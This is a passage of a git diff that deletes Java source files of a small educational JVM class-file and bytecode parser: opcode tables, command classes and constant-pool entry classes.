-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index 03db32ccc9..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index 4c8b21ab09..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index 0dd0573ae5..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,155 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
-			throw new RuntimeException("the orignal code is not correct");
-
-		}
-
-		codes = codes.toUpperCase();
-
-		CommandIterator iter = new CommandIterator(codes);
-		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
-
-		while (iter.hasNext()) {
-			String opCode = iter.next2CharAsString();
-
-			if (new_object.equals(opCode)) {
-				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
-
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (invokespecial.equals(opCode)) {
-				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				// System.out.println( cmd.toString(clzFile.getConstPool()));
-				cmds.add(cmd);
-			} else if (invokevirtual.equals(opCode)) {
-				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-
-				cmds.add(cmd);
-			} else if (getfield.equals(opCode)) {
-				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (getstatic.equals(opCode)) {
-				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (putfield.equals(opCode)) {
-				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (ldc.equals(opCode)) {
-				LdcCmd cmd = new LdcCmd(clzFile, opCode);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (bipush.equals(opCode)) {
-				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
-
-				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
-				cmds.add(cmd);
-			} else {
-				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
-			}
-
-		}
-
-		calcuateOffset(cmds);
-
-		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
-		cmds.toArray(result);
-		return result;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 92fe286363..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 52a7550d12..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index c6efbae530..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index a17c51a81d..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index 00f9a5a699..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index a43c8bd964..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 461bb4e2a5..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 6b1b8c284c..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 00b29e1fbc..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6cb42d2a83..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ClassInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index c837b9d838..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 35a3d873a9..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-    public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantPool.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index d641ea15c0..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	private ClassFile clzFile;
-	
-	public ConstantPool(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-
-	public List<ConstantInfo> getConstantInfos() {
-		return constantInfos;
-	}
-
-	public void setConstantInfos(List<ConstantInfo> constantInfos) {
-		this.constantInfos = constantInfos;
-	}
-
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/FieldRefInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 804e41a393..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		
-		visitor.visitFieldRef(this);		
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/MethodRefInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 68d84ad685..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		
-		visitor.visitMethodRef(this);
-	}
-	
-	
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index c22a7bfbca..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);	
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NullConstantInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 80cc827f18..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/StringInfo.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index 56f5daa724..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		
-		visitor.visitString(this);
-	}
-	
-}
